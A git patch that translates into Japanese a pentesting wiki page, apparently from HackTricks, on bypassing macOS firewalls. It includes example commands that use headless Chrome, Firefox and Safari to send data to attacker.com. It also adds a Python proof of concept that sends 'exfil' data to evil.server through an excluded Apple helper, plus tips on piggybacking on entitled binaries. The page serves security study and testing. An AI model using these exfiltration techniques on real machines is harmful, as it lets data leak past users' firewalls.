From 033f062df4111cbc0b7f170fec215d9e94d0c9c0 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 5 Aug 2025 00:17:59 +0000 Subject: [PATCH] Translated ['src/macos-hardening/macos-security-and-privilege-escalation --- .../macos-bypassing-firewalls.md | 63 +++++++++++++++++-- 1 file changed, 58 insertions(+), 5 deletions(-) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md index c83db69c6..06b1c6467 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md @@ -16,7 +16,7 @@ ### **Apple 署名のバイナリを使用** -- **`curl`** のようなもの、他にも **`whois`** など。 +- **`curl`** のようなもの、また **`whois`** など他のものも。 ### よく知られた Apple ドメイン @@ -24,11 +24,11 @@ ### 一般的なバイパス -ファイアウォールをバイパスするためのいくつかのアイデア。 +ファイアウォールをバイパスするために試すべきいくつかのアイデア。 ### 許可されたトラフィックの確認 -許可されたトラフィックを知ることで、潜在的にホワイトリストに登録されたドメインや、どのアプリケーションがそれらにアクセスできるかを特定するのに役立ちます。 +許可されたトラフィックを知ることで、潜在的にホワイトリストに登録されたドメインや、どのアプリケーションがそれにアクセスできるかを特定するのに役立ちます。 ```bash lsof -i TCP -sTCP:ESTABLISHED ``` @@ -53,7 +53,7 @@ end tell ```bash "Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil" ``` -- ファイアフォックス +- Firefox ```bash firefox-bin --headless "https://attacker.com?data=data%20to%20exfil" ``` @@ -69,8 +69,61 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil" macos-proces-abuse/ {{#endref}} -## 参考文献 +--- + +## 最近のmacOSファイアウォールバイパス脆弱性 (2023-2025) + +### ウェブコンテンツフィルター(スクリーンタイム)バイパス – **CVE-2024-44206** +2024年7月、Appleはスクリーンタイムの親の管理機能で使用されるシステム全体の「ウェブコンテンツフィルター」における重大なバグを修正しました。 +特別に作成されたURI(例えば、二重URLエンコードされた“://”を含む)は、スクリーンタイムのACLでは認識されませんが、WebKitでは受け入れられるため、リクエストはフィルタリングされずに送信されます。したがって、URLを開くことができる任意のプロセス(サンドボックス化されたコードや署名されていないコードを含む)は、ユーザーまたはMDMプロファイルによって明示的にブロックされたドメインに到達できます。 + +実践テスト(パッチ未適用システム): +```bash +open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time +# if the patch is missing Safari will happily load the page +``` +### Packet Filter (PF) ルール順序バグ in early macOS 14 “Sonoma” +macOS 14 ベータサイクル中に、Apple は **`pfctl`** のユーザースペースラッパーに回帰を導入しました。 +`quick` キーワードを使用して追加されたルール(多くの VPN キルスイッチで使用される)は静かに無視され、VPN/ファイアウォール GUI が *ブロックされた* と報告してもトラフィックの漏洩を引き起こしました。このバグは複数の VPN ベンダーによって確認され、RC 2 (ビルド 23A344) で修正されました。 + +Quick leak-check: +```bash +pfctl -sr | grep quick # rules are present… +sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface +``` +### Apple署名のヘルパーサービスの悪用(レガシー – macOS 11.2以前) +macOS 11.2以前では、**`ContentFilterExclusionList`** により、**`nsurlsessiond`** やApp Storeなど約50のAppleバイナリが、Network Extensionフレームワーク(LuLu、Little Snitchなど)で実装されたすべてのソケットフィルターファイアウォールをバイパスできました。 +マルウェアは単に除外されたプロセスを生成するか、そこにコードを注入し、すでに許可されたソケットを介して自分のトラフィックをトンネルすることができました。AppleはmacOS 11.2で除外リストを完全に削除しましたが、この技術はアップグレードできないシステムでは依然として関連性があります。 + +例の概念実証(11.2以前): +```python +import subprocess, socket +# Launch excluded App Store helper (path collapsed for clarity) +subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store']) +# Connect through the inherited socket +s = socket.create_connection(("evil.server", 443)) +s.send(b"exfil...") +``` +--- + +## Tooling tips for modern macOS + +1. 現在のPFルールを確認するには、GUIファイアウォールが生成したものを表示します: +```bash +sudo pfctl -a com.apple/250.ApplicationFirewall -sr +``` +2. すでに *outgoing-network* 権限を持つバイナリを列挙します(ピギーバッキングに便利): +```bash +codesign -d --entitlements :- /path/to/bin 2>/dev/null \ +| plutil -extract com.apple.security.network.client xml1 -o - - +``` +3. Objective-C/Swiftで独自のネットワーク拡張コンテンツフィルターをプログラム的に登録します。 +ローカルソケットにパケットを転送する最小限のルートレスPoCは、Patrick Wardleの**LuLu**ソースコードで入手可能です。 + +## References - [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k) +- +- {{#include ../../banners/hacktricks-training.md}}